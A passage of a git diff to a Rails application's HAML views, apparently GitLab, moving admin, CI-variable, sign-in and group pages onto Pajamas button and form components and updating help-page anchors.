+ broadcast_type: @broadcast_message.broadcast_type,
+ theme: @broadcast_message.theme,
+ dismissable: @broadcast_message.dismissable.to_s,
+ target_access_levels: @broadcast_message.target_access_levels,
+ target_path: @broadcast_message.target_path,
+ starts_at: @broadcast_message.starts_at,
+ ends_at: @broadcast_message.ends_at,
+ target_access_level_options: target_access_level_options.to_json,
+} }
diff --git a/app/views/admin/broadcast_messages/index.html.haml b/app/views/admin/broadcast_messages/index.html.haml
index 7a005f9c982..2fb59570231 100644
--- a/app/views/admin/broadcast_messages/index.html.haml
+++ b/app/views/admin/broadcast_messages/index.html.haml
@@ -1,31 +1,25 @@
- breadcrumb_title _("Messages")
- page_title _("Broadcast Messages")
-- vue_app_enabled = Feature.enabled?(:vue_broadcast_messages, current_user)
%h1.page-title.gl-font-size-h-display
= _('Broadcast Messages')
%p.light
= _('Use banners and notifications to notify your users about scheduled maintenance, recent upgrades, and more.')
-- if vue_app_enabled
- #js-broadcast-messages{ data: {
- page: params[:page] || 1,
- target_access_level_options: target_access_level_options.to_json,
- messages_count: @broadcast_messages.total_count,
- messages: @broadcast_messages.map { |message| {
- id: message.id,
- status: broadcast_message_status(message),
- preview: broadcast_message(message, preview: true),
- starts_at: message.starts_at.to_s,
- ends_at: message.ends_at.to_s,
- target_roles: target_access_levels_display(message.target_access_levels),
- target_path: message.target_path,
- type: message.broadcast_type.capitalize,
- edit_path: edit_admin_broadcast_message_path(message),
- delete_path: admin_broadcast_message_path(message) + '.js'
- } }.to_json
- } }
-- else
- = render 'form'
- %br.clearfix
- = render 'table'
+#js-broadcast-messages{ data: {
+ page: params[:page] || 1,
+ target_access_level_options: target_access_level_options.to_json,
+ messages_count: @broadcast_messages.total_count,
+ messages: @broadcast_messages.map { |message| {
+ id: message.id,
+ status: broadcast_message_status(message),
+ preview: broadcast_message(message, preview: true),
+ starts_at: message.starts_at.to_s,
+ ends_at: message.ends_at.to_s,
+ target_roles: target_access_levels_display(message.target_access_levels),
+ target_path: message.target_path,
+ type: message.broadcast_type.capitalize,
+ edit_path: edit_admin_broadcast_message_path(message),
+ delete_path: admin_broadcast_message_path(message) + '.js'
+ } }.to_json
+} }
diff --git a/app/views/admin/dashboard/_stats_users_table.html.haml b/app/views/admin/dashboard/_stats_users_table.html.haml
new file mode 100644
index 00000000000..473384b8961
--- /dev/null
+++ b/app/views/admin/dashboard/_stats_users_table.html.haml
@@ -0,0 +1,49 @@
+%table.table.gl-text-gray-500
+ %tr
+ %td.gl-p-5!
+ = s_('AdminArea|Users without a Group and Project')
+ = render_if_exists 'admin/dashboard/included_free_in_license_tooltip'
+ %td.gl-text-right{ class: 'gl-p-5!' }
+ = @users_statistics&.without_groups_and_projects
+ = render_if_exists 'admin/dashboard/minimal_access_stats_row', users_statistics: @users_statistics
+ %tr
+ %td.gl-p-5!
+ = s_('AdminArea|Users with highest role')
+ %strong
+ = s_('AdminArea|Reporter')
+ %td.gl-text-right{ class: 'gl-p-5!' }
+ = @users_statistics&.with_highest_role_reporter
+ %tr
+ %td.gl-p-5!
+ = s_('AdminArea|Users with highest role')
+ %strong
+ = s_('AdminArea|Developer')
+ %td.gl-text-right{ class: 'gl-p-5!' }
+ = @users_statistics&.with_highest_role_developer
+ %tr
+ %td.gl-p-5!
+ = s_('AdminArea|Users with highest role')
+ %strong
+ = s_('AdminArea|Maintainer')
+ %td.gl-text-right{ class: 'gl-p-5!' }
+ = @users_statistics&.with_highest_role_maintainer
+ %tr
+ %td.gl-p-5!
+ = s_('AdminArea|Users with highest role')
+ %strong
+ = s_('AdminArea|Owner')
+ %td.gl-text-right{ class: 'gl-p-5!' }
+ = @users_statistics&.with_highest_role_owner
+ %tr
+ %td.gl-p-5!
+ = s_('AdminArea|Users with highest role')
+ %strong
+ = s_('AdminArea|Guest')
+ = render_if_exists 'admin/dashboard/included_free_in_license_tooltip'
+ %td.gl-text-right{ class: 'gl-p-5!' }
+ = @users_statistics&.with_highest_role_guest
+ %tr
+ %td.gl-p-5!
+ = s_('AdminArea|Bots')
+ %td.gl-text-right{ class: 'gl-p-5!' }
+ = @users_statistics&.bots
diff --git a/app/views/admin/dashboard/index.html.haml b/app/views/admin/dashboard/index.html.haml
index 27ae7d523b9..8afddd99451 100644
--- a/app/views/admin/dashboard/index.html.haml
+++ b/app/views/admin/dashboard/index.html.haml
@@ -164,10 +164,11 @@
= _('Rails')
%span.float-right
#{Rails::VERSION::STRING}
- %p
- = ApplicationRecord.database.human_adapter_name
- %span.float-right
- = ApplicationRecord.database.version
+ - database_versions.each do |database_name, database|
+ %p
+ #{database[:adapter_name]} (#{database_name})
+ %span.float-right
+ = database[:version]
%p
= _('Redis')
%span.float-right
diff --git a/app/views/admin/dashboard/stats.html.haml b/app/views/admin/dashboard/stats.html.haml
index e0701812ba3..0a5a425397f 100644
--- a/app/views/admin/dashboard/stats.html.haml
+++ b/app/views/admin/dashboard/stats.html.haml
@@ -2,63 +2,15 @@
%h3.gl-my-6
= s_('AdminArea|Users statistics')
+
+= render 'admin/dashboard/stats_users_table', user_statistics: @users_statistics
+
+%p.gl-font-weight-bold.gl-mt-8
+ = s_('AdminArea|Totals')
+
%table.table.gl-text-gray-500
- %tr
- %td.gl-p-5!
- = s_('AdminArea|Users without a Group and Project')
- = render_if_exists 'admin/dashboard/included_free_in_license_tooltip'
- %td.gl-text-right{ class: 'gl-p-5!' }
- = @users_statistics&.without_groups_and_projects
- = render_if_exists 'admin/dashboard/minimal_access_stats_row', users_statistics: @users_statistics
- %tr
- %td.gl-p-5!
- = s_('AdminArea|Users with highest role')
- %strong
- = s_('AdminArea|Guest')
- = render_if_exists 'admin/dashboard/included_free_in_license_tooltip'
- %td.gl-text-right{ class: 'gl-p-5!' }
- = @users_statistics&.with_highest_role_guest
- %tr
- %td.gl-p-5!
- = s_('AdminArea|Users with highest role')
- %strong
- = s_('AdminArea|Reporter')
- %td.gl-text-right{ class: 'gl-p-5!' }
- = @users_statistics&.with_highest_role_reporter
- %tr
- %td.gl-p-5!
- = s_('AdminArea|Users with highest role')
- %strong
- = s_('AdminArea|Developer')
- %td.gl-text-right{ class: 'gl-p-5!' }
- = @users_statistics&.with_highest_role_developer
- %tr
- %td.gl-p-5!
- = s_('AdminArea|Users with highest role')
- %strong
- = s_('AdminArea|Maintainer')
- %td.gl-text-right{ class: 'gl-p-5!' }
- = @users_statistics&.with_highest_role_maintainer
- %tr
- %td.gl-p-5!
- = s_('AdminArea|Users with highest role')
- %strong
- = s_('AdminArea|Owner')
- %td.gl-text-right{ class: 'gl-p-5!' }
- = @users_statistics&.with_highest_role_owner
- %tr
- %td.gl-p-5!
- = s_('AdminArea|Bots')
- %td.gl-text-right{ class: 'gl-p-5!' }
- = @users_statistics&.bots
- = render_if_exists 'admin/dashboard/billable_users_row'
- %tr.bg-gray-light.gl-text-gray-900
- %td.gl-p-5!
- %strong
- = s_('AdminArea|Active users')
- %td.gl-text-right{ class: 'gl-p-5!' }
- %strong
- = @users_statistics&.active
+ = render_if_exists 'admin/dashboard/stats_active_users_row', users_statistics: @users_statistics
+
%tr.bg-gray-light.gl-text-gray-900
%td.gl-p-5!
%strong
@@ -70,6 +22,8 @@
%td.gl-p-5!
%strong
= s_('AdminArea|Total users')
+ %span
+ (#{s_('AdminArea|active users + blocked users')})
%td.gl-text-right{ class: 'gl-p-5!' }
%strong
= @users_statistics&.total
diff --git a/app/views/admin/projects/show.html.haml b/app/views/admin/projects/show.html.haml
index 829e9f508e0..bfa17daf1c2 100644
--- a/app/views/admin/projects/show.html.haml
+++ b/app/views/admin/projects/show.html.haml
@@ -135,7 +135,7 @@
- c.header do
= s_('ProjectSettings|Transfer project')
- c.body do
- = form_for @project, url: transfer_admin_project_path(@project), method: :put do |f|
+ = gitlab_ui_form_for @project, url: transfer_admin_project_path(@project), method: :put do |f|
.form-group.row
.col-sm-3.col-form-label
= f.label :new_namespace_id, _("Namespace")
@@ -147,13 +147,13 @@
.form-group.row
.offset-sm-3.col-sm-9
- = f.submit _('Transfer'), class: 'gl-button btn btn-confirm'
+ = f.submit _('Transfer'), pajamas_button: true
= render Pajamas::CardComponent.new(card_options: { class: 'gl-mb-5 repository-check' }) do |c|
- c.header do
= _("Repository check")
- c.body do
- = form_for @project, url: repository_check_admin_project_path(@project), method: :post do |f|
+ = gitlab_ui_form_for @project, url: repository_check_admin_project_path(@project), method: :post do |f|
.form-group
- if @project.last_repository_check_at.nil?
= _("This repository has never been checked.")
@@ -167,7 +167,7 @@
= link_to sprite_icon('question-o'), help_page_path('administration/repository_checks')
.form-group
- = f.submit _('Trigger repository check'), class: 'gl-button btn btn-confirm'
+ = f.submit _('Trigger repository check'), pajamas_button: true
.col-md-6
- if @group
diff --git a/app/views/admin/runners/edit.html.haml b/app/views/admin/runners/edit.html.haml
index ccdfe67ea77..e586a7a965e 100644
--- a/app/views/admin/runners/edit.html.haml
+++ b/app/views/admin/runners/edit.html.haml
@@ -24,7 +24,8 @@
dismissible: false,
title: project.full_name) do |c|
= c.actions do
- = link_to _('Disable'), admin_namespace_project_runner_project_path(project.namespace, project, runner_project), method: :delete, class: 'btn gl-alert-action btn-confirm btn-md gl-button'
+ = render Pajamas::ButtonComponent.new(variant: :confirm, href: admin_namespace_project_runner_project_path(project.namespace, project, runner_project), method: :delete) do
+ = _('Disable')
%table.table{ data: { testid: 'unassigned-projects' } }
%thead
@@ -47,7 +48,8 @@
= project.full_name
%td
.float-right
- = form_for project.runner_projects.new, url: admin_namespace_project_runner_projects_path(project.namespace, project), method: :post do |f|
+ = gitlab_ui_form_for project.runner_projects.new, url: admin_namespace_project_runner_projects_path(project.namespace, project), method: :post do |f|
= f.hidden_field :runner_id, value: @runner.id
- = f.submit _('Enable'), class: 'gl-button btn btn-sm'
+ = render Pajamas::ButtonComponent.new(size: :small, type: :submit) do
+ = _('Enable')
= paginate_without_count @projects
diff --git a/app/views/admin/spam_logs/_spam_log.html.haml b/app/views/admin/spam_logs/_spam_log.html.haml
index 2d0ea585735..183667679b9 100644
--- a/app/views/admin/spam_logs/_spam_log.html.haml
+++ b/app/views/admin/spam_logs/_spam_log.html.haml
@@ -23,19 +23,36 @@
= truncate(spam_log.description, length: 100)
%td
- if user
- = link_to _('Remove user'), admin_spam_log_path(spam_log, remove_user: true),
- data: { confirm: _("USER %{user_name} WILL BE REMOVED! Are you sure?") % { user_name: user.name }, confirm_btn_variant: 'danger' }, aria: { label: _('Remove user') }, method: :delete, class: "gl-button btn btn-sm btn-danger"
+ = render Pajamas::ButtonComponent.new(size: :small,
+ variant: :danger,
+ method: :delete,
+ href: admin_spam_log_path(spam_log, remove_user: true),
+ button_options: { data: { confirm: _("USER %{user_name} WILL BE REMOVED! Are you sure?") % { user_name: user.name }, confirm_btn_variant: 'danger' }, aria: { label: _('Remove user') } }) do
+ = _('Remove user')
%td
-# TODO: Remove conditonal once spamcheck supports this https://gitlab.com/gitlab-com/gl-security/engineering-and-research/automation-team/spam/spamcheck/-/issues/190
- if akismet_enabled?
- if spam_log.submitted_as_ham?
- .gl-button.btn.btn-default.btn-sm.disabled.gl-mb-3
+ = render Pajamas::ButtonComponent.new(size: :small,
+ button_options: { class: 'disabled gl-mb-3'}) do
= _("Submitted as ham")
- else
- = link_to _('Submit as ham'), mark_as_ham_admin_spam_log_path(spam_log), method: :post, class: 'gl-button btn btn-default btn-sm gl-mb-3'
+ = render Pajamas::ButtonComponent.new(size: :small,
+ method: :post,
+ href: mark_as_ham_admin_spam_log_path(spam_log),
+ button_options: { class: ' gl-mb-3' }) do
+ = _('Submit as ham')
- if user && !user.blocked?
- = link_to _('Block user'), block_admin_user_path(user), data: {confirm: _('USER WILL BE BLOCKED! Are you sure?')}, method: :put, class: "gl-button btn btn-default btn-sm gl-mb-3"
+ = render Pajamas::ButtonComponent.new(size: :small,
+ method: :put,
+ href: block_admin_user_path(user),
+ button_options: { class: 'gl-mb-3', data: {confirm: _('USER WILL BE BLOCKED! Are you sure?')} }) do
+ = _('Block user')
- else
- .gl-button.btn.btn-default.btn-sm.disabled.gl-mb-3
- Already blocked
- = link_to _('Remove log'), [:admin, spam_log], remote: true, method: :delete, class: "gl-button btn btn-default btn-sm btn-close js-remove-tr"
+ = render Pajamas::ButtonComponent.new(size: :small, button_options: { class: 'disabled gl-mb-3'}) do
+ = _("Already blocked")
+ = render Pajamas::ButtonComponent.new(size: :small,
+ method: :delete,
+ href: [:admin, spam_log],
+ button_options: { class: 'js-remove-tr', remote: true, }) do
+ = _('Remove log')
diff --git a/app/views/admin/topics/index.html.haml b/app/views/admin/topics/index.html.haml
index 2f39f27208e..6d64fa1983f 100644
--- a/app/views/admin/topics/index.html.haml
+++ b/app/views/admin/topics/index.html.haml
@@ -1,4 +1,5 @@
- page_title _("Topics")
+- add_page_specific_style 'page_bundles/search'
.top-area
.nav-controls.gl-w-full.gl-mt-3.gl-mb-3
diff --git a/app/views/admin/users/_access_levels.html.haml b/app/views/admin/users/_access_levels.html.haml
index b255354f2c1..472ba2f84a0 100644
--- a/app/views/admin/users/_access_levels.html.haml
+++ b/app/views/admin/users/_access_levels.html.haml
@@ -10,6 +10,7 @@
.form-group.gl-form-group{ role: 'group' }
= f.gitlab_ui_checkbox_component :can_create_group, s_('AdminUsers|Can create group')
+ = f.gitlab_ui_checkbox_component :private_profile, s_('AdminUsers|Private profile')
%fieldset.form-group.gl-form-group
%legend.col-form-label.col-form-label
diff --git a/app/views/admin/users/_users.html.haml b/app/views/admin/users/_users.html.haml
index 96e6a264d8e..73027441fe6 100644
--- a/app/views/admin/users/_users.html.haml
+++ b/app/views/admin/users/_users.html.haml
@@ -48,7 +48,8 @@
.nav-controls
= render_if_exists 'admin/users/admin_email_users'
= render_if_exists 'admin/users/admin_export_user_permissions'
- = link_to s_('AdminUsers|New user'), new_admin_user_path, class: 'btn gl-button btn-confirm btn-search float-right'
+ = render Pajamas::ButtonComponent.new(variant: :confirm, href: new_admin_user_path) do
+ = s_('AdminUsers|New user')
.filtered-search-block.row-content-block.border-top-0
= form_tag admin_users_path, method: :get do
diff --git a/app/views/admin/users/show.html.haml b/app/views/admin/users/show.html.haml
index 7edea81a123..f7d4121e6e0 100644
--- a/app/views/admin/users/show.html.haml
+++ b/app/views/admin/users/show.html.haml
@@ -76,6 +76,10 @@
%strong
= @user.can_create_group ? _('Yes') : _('No')
%li
+ %span.light= _('Private profile:')
+ %strong
+ = @user.private_profile ? _('Yes') : _('No')
+ %li
%span.light= _('Personal projects limit:')
%strong
= @user.projects_limit
diff --git a/app/views/ci/group_variables/_index.html.haml b/app/views/ci/group_variables/_index.html.haml
index eb49a9a0261..c8c970f3c2f 100644
--- a/app/views/ci/group_variables/_index.html.haml
+++ b/app/views/ci/group_variables/_index.html.haml
@@ -1,4 +1,4 @@
-- variables = @project.group.self_and_ancestors.map(&:variables).flatten
+- variables = @project.group.self_and_ancestors.flat_map(&:variables)
.ci-variable-table
%table.gl-table.gl-w-full.gl-table-layout-fixed
diff --git a/app/views/ci/status/_badge.html.haml b/app/views/ci/status/_badge.html.haml
index 5114387984b..e3b409dea76 100644
--- a/app/views/ci/status/_badge.html.haml
+++ b/app/views/ci/status/_badge.html.haml
@@ -1,7 +1,7 @@
- status = local_assigns.fetch(:status)
- link = local_assigns.fetch(:link, true)
- title = local_assigns.fetch(:title, nil)
-- css_classes = "ci-status ci-#{status.group} #{'has-tooltip' if title.present?}"
+- css_classes = "gl-display-inline-flex gl-align-items-center gl-gap-2 gl-line-height-0 gl-px-3 gl-py-2 gl-rounded-base ci-status ci-#{status.group} #{'has-tooltip' if title.present?}"
- if link && status.has_details?
= link_to status.details_path, class: css_classes, title: title, data: { html: title.present? } do
diff --git a/app/views/ci/variables/_content.html.haml b/app/views/ci/variables/_content.html.haml
index 37043a207ff..65e57d68288 100644
--- a/app/views/ci/variables/_content.html.haml
+++ b/app/views/ci/variables/_content.html.haml
@@ -2,7 +2,7 @@
= link_to _('Learn more.'), help_page_path('ci/variables/index'), target: '_blank', rel: 'noopener noreferrer'
%p
= _('Variables can have several attributes.')
- = link_to _('Learn more.'), help_page_path('ci/variables/index', anchor: 'add-a-cicd-variable-to-an-instance'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to _('Learn more.'), help_page_path('ci/variables/index', anchor: 'define-a-cicd-variable-in-the-ui'), target: '_blank', rel: 'noopener noreferrer'
%ul
%li
= html_escape(_('%{code_open}Protected:%{code_close} Only exposed to protected branches or protected tags.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
diff --git a/app/views/ci/variables/_index.html.haml b/app/views/ci/variables/_index.html.haml
index fdbf5132d40..af98025d257 100644
--- a/app/views/ci/variables/_index.html.haml
+++ b/app/views/ci/variables/_index.html.haml
@@ -4,7 +4,7 @@
= render Pajamas::AlertComponent.new(variant: :warning, show_icon: false, dismissible: false,
alert_options: { class: 'gl-mb-3'}) do |c|
= c.body do
- - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/index', anchor: 'protected-cicd-variables') }
+ - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/index', anchor: 'protect-a-cicd-variable') }
= _('Environment variables are configured by your administrator to be %{link_start}protected%{link_end} by default.').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
- is_group = !@group.nil?
@@ -23,10 +23,10 @@
aws_tip_deploy_link: help_page_path('ci/cloud_deployment/index.md', anchor: 'deploy-your-application-to-ecs'),
aws_tip_commands_link: help_page_path('ci/cloud_deployment/index.md', anchor: 'use-an-image-to-run-aws-commands'),
aws_tip_learn_link: help_page_path('ci/cloud_deployment/index.md'),
- contains_variable_reference_link: help_page_path('ci/variables/index', anchor: 'expand-cicd-variables'),
- protected_environment_variables_link: help_page_path('ci/variables/index', anchor: 'protected-cicd-variables'),
+ contains_variable_reference_link: help_page_path('ci/variables/index', anchor: 'prevent-cicd-variable-expansion'),
+ protected_environment_variables_link: help_page_path('ci/variables/index', anchor: 'protect-a-cicd-variable'),
masked_environment_variables_link: help_page_path('ci/variables/index', anchor: 'mask-a-cicd-variable'),
- environment_scope_link: help_page_path('ci/environments/index', anchor: 'scope-environments-with-specs') } }
+ environment_scope_link: help_page_path('ci/environments/index', anchor: 'limit-the-environment-scope-of-a-cicd-variable') } }
- if !@group && @project.group
.settings-header.border-top.gl-mt-6
diff --git a/app/views/clusters/clusters/_advanced_settings.html.haml b/app/views/clusters/clusters/_advanced_settings.html.haml
index 8eba398fd13..ddc3b7d05e1 100644
--- a/app/views/clusters/clusters/_advanced_settings.html.haml
+++ b/app/views/clusters/clusters/_advanced_settings.html.haml
@@ -14,7 +14,7 @@
= html_escape(s_('ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}')) % { provider_link: provider_link }
.sub-section.form-group
- = form_for @cluster, url: clusterable.cluster_path(@cluster), as: :cluster, html: { class: 'cluster_management_form' } do |field|
+ = gitlab_ui_form_for @cluster, url: clusterable.cluster_path(@cluster), as: :cluster, html: { class: 'cluster_management_form' } do |field|
%h4
= s_('ClusterIntegration|Cluster management project')
@@ -24,7 +24,7 @@
.text-muted
= html_escape(s_('ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
= link_to _('More information'), help_page_path('user/clusters/management_project.md'), target: '_blank', rel: 'noopener noreferrer'
- = field.submit _('Save changes'), class: 'btn gl-button btn-confirm'
+ = field.submit _('Save changes'), pajamas_button: true
.sub-section.form-group
%h4
@@ -35,7 +35,8 @@
= s_("ClusterIntegration|This is necessary if your integration has become out of sync. The cache is repopulated during the next CI job that requires namespace and service accounts.")
- else
= s_("ClusterIntegration|This is necessary to clear existing environment-namespace associations from clusters previously managed by GitLab.")
- = link_to(s_('ClusterIntegration|Clear cluster cache'), clusterable.clear_cluster_cache_path(@cluster), method: :delete, class: 'btn gl-button btn-confirm')
+ = render Pajamas::ButtonComponent.new(method: :delete, href: clusterable.clear_cluster_cache_path(@cluster)) do
+ = s_('ClusterIntegration|Clear cluster cache')
.sub-section.form-group
%h4.text-danger
diff --git a/app/views/dashboard/todos/_todo.html.haml b/app/views/dashboard/todos/_todo.html.haml
index 9dfeaa3d07d..f97c0e2b9b6 100644
--- a/app/views/dashboard/todos/_todo.html.haml
+++ b/app/views/dashboard/todos/_todo.html.haml
@@ -1,7 +1,7 @@
%li.todo.gl-hover-border-blue-200.gl-hover-bg-blue-50.gl-hover-cursor-pointer.gl-relative{ class: "todo-#{todo.done? ? 'done' : 'pending'}", id: dom_id(todo) }
.gl-display-flex.gl-flex-direction-column.gl-sm-flex-direction-row.gl-sm-align-items-center
.todo-item.gl-overflow-hidden.gl-overflow-x-auto.gl-align-self-center.gl-w-full{ data: { qa_selector: "todo_item_container" } }
- .todo-title.gl-pt-2.gl-pb-3.gl-px-2.gl-md-mb-1.gl-font-sm.gl-text-gray-500
+ .todo-title.gl-pt-2.gl-pb-3.gl-px-2.gl-md-mb-1.gl-font-sm.gl-text-secondary
= todo_target_state_pill(todo)
@@ -16,7 +16,7 @@
%span.todo-label
- if todo.target
- = link_to todo_target_name(todo), todo_target_path(todo), class: 'todo-target-link gl-text-gray-500! gl-text-decoration-none!', :'aria-describedby' => dom_id(todo) + "_describer", :'aria-label' => todo_target_aria_label(todo)
+ = link_to todo_target_name(todo), todo_target_path(todo), class: 'todo-target-link gl-text-secondary! gl-text-decoration-none!', :'aria-describedby' => dom_id(todo) + "_describer", :'aria-label' => todo_target_aria_label(todo)
- else
= _("(removed)")
@@ -25,29 +25,30 @@
= author_avatar(todo, size: 24)
.todo-note
- if todo_author_display?(todo)
- .author-name.bold.gl-display-inline
+ .author-name.bold.gl-display-inline<
- if todo.author
= link_to_author(todo, self_added: todo.self_added?)
- else
= _('(removed)')
+ - if todo.note.present?
+ \:
%span.action-name{ data: { qa_selector: "todo_action_name_content" } }<
- = todo_action_name(todo)
- - if todo.note.present?
- \:
- - unless todo.note.present? || todo.self_assigned?
- \.
+ - if !todo.note.present?
+ = todo_action_name(todo)
+ - unless todo.self_assigned?
+ \.
- if todo.self_assigned?
%span.action-name<
= todo_self_addressing(todo)
\.
- if todo.note.present?
- %span.action-description.gl-font-style-italic<
- = first_line_in_markdown(todo, :body, 100, is_todo: true, project: todo.project, group: todo.group)
+ %span.action-description<
+ = first_line_in_markdown(todo, :body, 125, is_todo: true, project: todo.project, group: todo.group)
.todo-timestamp.gl-white-space-nowrap.gl-sm-ml-3.gl-mt-2.gl-mb-2.gl-sm-my-0.gl-px-2.gl-sm-px-0
- %span.todo-timestamp.gl-font-sm.gl-text-gray-500
+ %span.todo-timestamp.gl-font-sm.gl-text-secondary
= todo_due_date(todo)
#{time_ago_with_tooltip(todo.created_at)}
diff --git a/app/views/devise/sessions/two_factor.html.haml b/app/views/devise/sessions/two_factor.html.haml
index fd20ff9a418..f63f1aa9197 100644
--- a/app/views/devise/sessions/two_factor.html.haml
+++ b/app/views/devise/sessions/two_factor.html.haml
@@ -3,7 +3,7 @@
.login-box.gl-p-5
.login-body
- if @user.two_factor_otp_enabled?
- = form_for(resource, as: resource_name, url: session_path(resource_name), method: :post, html: { class: "edit_user gl-show-field-errors js-2fa-form #{'hidden' if @user.two_factor_webauthn_u2f_enabled?}" }) do |f|
+ = gitlab_ui_form_for(resource, as: resource_name, url: session_path(resource_name), method: :post, html: { class: "edit_user gl-show-field-errors js-2fa-form #{'hidden' if @user.two_factor_webauthn_u2f_enabled?}" }) do |f|
- resource_params = params[resource_name].presence || params
= f.hidden_field :remember_me, value: resource_params.fetch(:remember_me, 0)
%div
@@ -11,6 +11,6 @@
= f.text_field :otp_attempt, class: 'form-control gl-form-input', required: true, autofocus: true, autocomplete: 'off', title: _('This field is required.'), data: { qa_selector: 'two_fa_code_field' }
%p.form-text.text-muted.hint= _("Enter the code from the two-factor app on your mobile device. If you've lost your device, you may enter one of your recovery codes.")
.prepend-top-20
- = f.submit _("Verify code"), class: "gl-button btn btn-confirm", data: { qa_selector: 'verify_code_button' }
+ = f.submit _("Verify code"), pajamas_button: true, data: { qa_selector: 'verify_code_button' }
- if @user.two_factor_webauthn_u2f_enabled?
= render "authentication/authenticate", params: params, resource: resource, resource_name: resource_name, render_remember_me: true, target_path: new_user_session_path
diff --git a/app/views/devise/shared/_signup_box.html.haml b/app/views/devise/shared/_signup_box.html.haml
index a3a5fe690a7..b9fe61229bc 100644
--- a/app/views/devise/shared/_signup_box.html.haml
+++ b/app/views/devise/shared/_signup_box.html.haml
@@ -6,7 +6,7 @@
- if show_omniauth_providers && omniauth_providers_placement == :top
= render 'devise/shared/signup_omniauth_providers_top'
- = form_for(resource, as: "new_#{resource_name}", url: url, html: { class: 'new_user gl-show-field-errors js-arkose-labs-form', 'aria-live' => 'assertive' }, data: { testid: 'signup-form' }) do |f|
+ = gitlab_ui_form_for(resource, as: "new_#{resource_name}", url: url, html: { class: 'new_user gl-show-field-errors js-arkose-labs-form', 'aria-live' => 'assertive' }, data: { testid: 'signup-form' }) do |f|
.devise-errors
= render 'devise/shared/error_messages', resource: resource
- if Gitlab::CurrentSettings.invisible_captcha_enabled
@@ -72,7 +72,7 @@
= recaptcha_tags nonce: content_security_policy_nonce
.submit-container.gl-mt-5
- = f.submit button_text, class: 'btn gl-button btn-confirm gl-display-block gl-w-full', data: { qa_selector: 'new_user_register_button' }
+ = f.submit button_text, pajamas_button: true, class: 'gl-w-full', data: { qa_selector: 'new_user_register_button' }
- if Gitlab::CurrentSettings.sign_in_text.present? && Feature.enabled?(:restyle_login_page, @project)
.gl-pt-5
= markdown_field(Gitlab::CurrentSettings.current_application_settings, :sign_in_text)
diff --git a/app/views/devise/shared/_signup_omniauth_provider_list.haml b/app/views/devise/shared/_signup_omniauth_provider_list.haml
index 5c085555872..a96c8d6358b 100644
--- a/app/views/devise/shared/_signup_omniauth_provider_list.haml
+++ b/app/views/devise/shared/_signup_omniauth_provider_list.haml
@@ -1,4 +1,4 @@
-- register_omniauth_params = Feature.enabled?(:update_oauth_registration_flow) ? { intent: :register } : {}
+- register_omniauth_params = { intent: :register }
- if Feature.enabled?(:restyle_login_page, @project)
.gl-text-center.gl-pt-5
%label.gl-font-weight-normal
diff --git a/app/views/errors/omniauth_error.html.haml b/app/views/errors/omniauth_error.html.haml
index 3090c823677..c48e12561a7 100644
--- a/app/views/errors/omniauth_error.html.haml
+++ b/app/views/errors/omniauth_error.html.haml
@@ -2,18 +2,16 @@
.container
= render partial: "shared/errors/graphic_422", formats: :svg
- %h3
+ %h2
= _('Sign-in using %{provider} auth failed') % { provider: @provider }
-
- %p.light.subtitle
- = _('Sign-in failed because %{error}.') % { error: @error }
-
- %p
- = _('Try logging in using your username or email. If you have forgotten your password, try recovering it')
-
- = link_to _('Sign in'), new_session_path(:user), class: 'gl-button btn primary'
- = link_to _('Recover password'), new_password_path(:user), class: 'gl-button btn secondary'
-
- %hr
- %p.light
- = _('If none of the options work, try contacting a GitLab administrator.')
+ .gl-mb-5
+ = @error
+ .gl-mb-5
+ = render Pajamas::ButtonComponent.new(variant: :confirm,
+ href: new_session_path(:user),
+ button_options: { class: 'gl-mr-2' }) do
+ = _('Sign in')
+ = render Pajamas::ButtonComponent.new(href: new_password_path(:user)) do
+ = _('Recover password')
+ %div
+ = _('If you are unable to sign in or recover your password, contact a GitLab administrator.')
diff --git a/app/views/groups/_delete_project_button.html.haml b/app/views/groups/_delete_project_button.html.haml
index 54a99319418..8321e86c44f 100644
--- a/app/views/groups/_delete_project_button.html.haml
+++ b/app/views/groups/_delete_project_button.html.haml
@@ -1 +1,2 @@
-= link_to _('Delete'), project, data: { confirm: remove_project_message(project) }, method: :delete, class: "btn gl-button btn-danger"
+= render Pajamas::ButtonComponent.new(href: project, variant: :danger, method: :delete, button_options: { data: { confirm: remove_project_message(project) } }) do
+ = _('Delete')
diff --git a/app/views/groups/_group_admin_settings.html.haml b/app/views/groups/_group_admin_settings.html.haml
index 0b26db64ffa..8547795b4b7 100644
--- a/app/views/groups/_group_admin_settings.html.haml
+++ b/app/views/groups/_group_admin_settings.html.haml
@@ -36,4 +36,4 @@
= f.gitlab_ui_checkbox_component :runner_registration_enabled,
s_('Runners|New group runners can be registered'),
checkbox_options: { checked: @group.runner_registration_enabled && !parent_disabled, disabled: parent_disabled },
- help_text: s_('Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD.').html_safe
+ help_text: s_('Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD.').html_safe
diff --git a/app/views/groups/_home_panel.html.haml b/app/views/groups/_home_panel.html.haml
index 1494990e427..fac0fd3d2a4 100644
--- a/app/views/groups/_home_panel.html.haml
+++ b/app/views/groups/_home_panel.html.haml
@@ -12,6 +12,7 @@
= @group.name
%span.visibility-icon.gl-text-secondary.has-tooltip.gl-ml-2{ data: { container: 'body' }, title: visibility_icon_description(@group) }
= visibility_level_icon(@group.visibility_level, options: {class: 'icon'})
+ = render_if_exists 'shared/tier_badge', source: @group, source_type: 'Group'
.home-panel-metadata.gl-text-secondary.gl-font-base.gl-font-weight-normal.gl-line-height-normal{ data: { qa_selector: 'group_id_content' }, itemprop: 'identifier' }
- if can?(current_user, :read_group, @group)
%span.gl-display-inline-block.gl-vertical-align-middle
@@ -24,25 +25,23 @@
- if current_user
.home-panel-buttons.gl-display-flex.gl-justify-content-md-end.gl-align-items-center.gl-flex-wrap.gl-gap-3{ data: { testid: 'group-buttons' } }
- if current_user.admin?
- = link_to [:admin, @group], class: 'btn btn-default gl-button btn-icon', title: _('View group in admin area'),
- data: {toggle: 'tooltip', placement: 'bottom', container: 'body'} do
